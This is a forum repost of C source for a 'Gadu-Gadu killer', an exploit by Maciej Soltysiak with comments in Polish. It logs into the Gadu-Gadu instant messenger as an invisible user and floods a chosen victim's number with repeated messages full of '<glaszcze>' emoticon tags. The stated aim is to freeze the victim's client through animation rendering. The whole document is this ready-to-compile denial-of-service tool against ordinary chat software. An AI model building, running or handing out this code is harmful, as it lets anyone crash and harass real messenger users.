信息来源:Maciej Soltysiak
复制内容到剪贴板
代码:
/*
* Gadu-Gadu killer by Maciej Soltysiak ([url]http://soltysiak.com[/url])
*
* Exploit polega na wyslaniu sporej ilosci tekstu, ktora klient Gadu-Gadu
* zrenderuje a graficzne animacje, a to powinno zawiesic program.
*
* gcc -o ggkill ggkill.c -lgadu
*
* Wymaga biblioteki libgadu
*
* -lssl w razie gdyby buczalo o ssl
*/
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <libgadu.h>
#include <signal.h>
time_t current_time;
void log_simple(const char *txt)
{
/* The "!!" are to show it was log_simple */
fprintf(stderr, "!! %s\n", txt);
return;
}
void log_string(const char *fmt, ...)
{
char buf[320];
va_list args;
int n;
va_start(args, fmt);
n = vsnprintf(buf, sizeof(buf), fmt, args);
va_end(args);
if (n >= sizeof(buf))
log_simple("log_string: vsnprintf truncated");
else if (n < 0)
log_simple("log_string: vsnprintf failed");
n = fprintf(stderr, ":: %s\n", buf);
if (n < 0)
log_simple("log_string: fprintf returned an error");
return;
}
/* Global Gadu-Gadu handle */
struct gg_session *gadu_sess = NULL;
#define GG_CONN_TIMEOUT 10
void gadu_disconnect(void)
{
if (gadu_sess != NULL)
{
log_simple("gadu_disconnect");
gg_logoff(gadu_sess);
gg_free_session(gadu_sess);
gadu_sess = NULL;
}
return;
}
static void init_signals(void)
{
struct sigaction sigact;
sigact.sa_flags = SA_NODEFER;
sigact.sa_handler = (void *) gadu_disconnect;
sigemptyset(&sigact.sa_mask);
sigaction(SIGTERM, &sigact, NULL);
sigaction(SIGHUP, &sigact, NULL);
sigaction(SIGQUIT, &sigact, NULL);
sigaction(SIGINT, &sigact, NULL);
}
static inline void gadu_connect(int uin, char *pass)
{
struct gg_login_params gadu_p;
fd_set rd, wd;
struct gg_event *e;
struct timeval tv;
int ret;
memset(&gadu_p, 0, sizeof(gadu_p));
gadu_p.uin = uin;
gadu_p.password = pass;
gadu_p.async = 1;
gadu_sess = gg_login(&gadu_p);
for (;;) {
FD_ZERO(&rd);
FD_ZERO(&wd);
if ((gadu_sess->check & GG_CHECK_READ))
FD_SET(gadu_sess->fd, &rd);
if ((gadu_sess->check & GG_CHECK_WRITE))
FD_SET(gadu_sess->fd, &wd);
tv.tv_sec = GG_CONN_TIMEOUT;
tv.tv_usec = 0;
ret = select(gadu_sess->fd + 1, &rd, &wd, NULL, &tv);
if (!ret) {
gadu_disconnect();
} else {
if (gadu_sess && (FD_ISSET(gadu_sess->fd, &rd) || FD_ISSET(gadu_sess->fd, &wd))) {
if (!(e = gg_watch_fd(gadu_sess))) {
log_simple("gadu_connect: connection lost!");
gadu_disconnect();
}
if (e->type == GG_EVENT_CONN_SUCCESS) {
log_simple("gadu_connect: success.");
gg_free_event(e);
break;
}
if (e->type == GG_EVENT_CONN_FAILED) {
log_simple("gadu_connect: failed.");
gg_free_event(e);
gadu_disconnect();
}
gg_free_event(e);
}
}
}
gg_change_status(gadu_sess, GG_STATUS_INVISIBLE);
}
int main(int argc, char *argv[])
{
unsigned int wait;
struct timeval now_time;
char *b;
int uin, v_uin;
int i, i_max = 120;
if (argc != 4)
{
log_string("skladnia: %s <twoj_uin> <twoje_haslo> <uin_ofiary>\n" \
"Pamietaj wylogowac sie ze swojegu uina z gadu.",
argv[0]);
return 0;
}
if ((uin = atoi(argv[1])) <= 0)
{
log_simple("Podaj twoj poprawny numer.");
return 0;
}
b = (char *) malloc(i_max * strlen("<glaszcze>"));
if (!b)
{
log_simple("main: failled to malloc");
return;
}
uin = atoi(argv[1]);
v_uin = atoi(argv[3]);
/* fill the buffer with shit */
b[0] = '\0';
for (i=0;i<i_max;i++)
strcat(b, "<glaszcze>");
strcat(b, "\0");
init_signals();
/* connect */
gadu_connect(uin, argv[2]);
/* send the shit */
while(i_max--)
{
usleep(5e4);
gg_send_message(gadu_sess, GG_CLASS_MSG, v_uin, b);
}
/* disconnect */
gadu_disconnect();
return 0;
}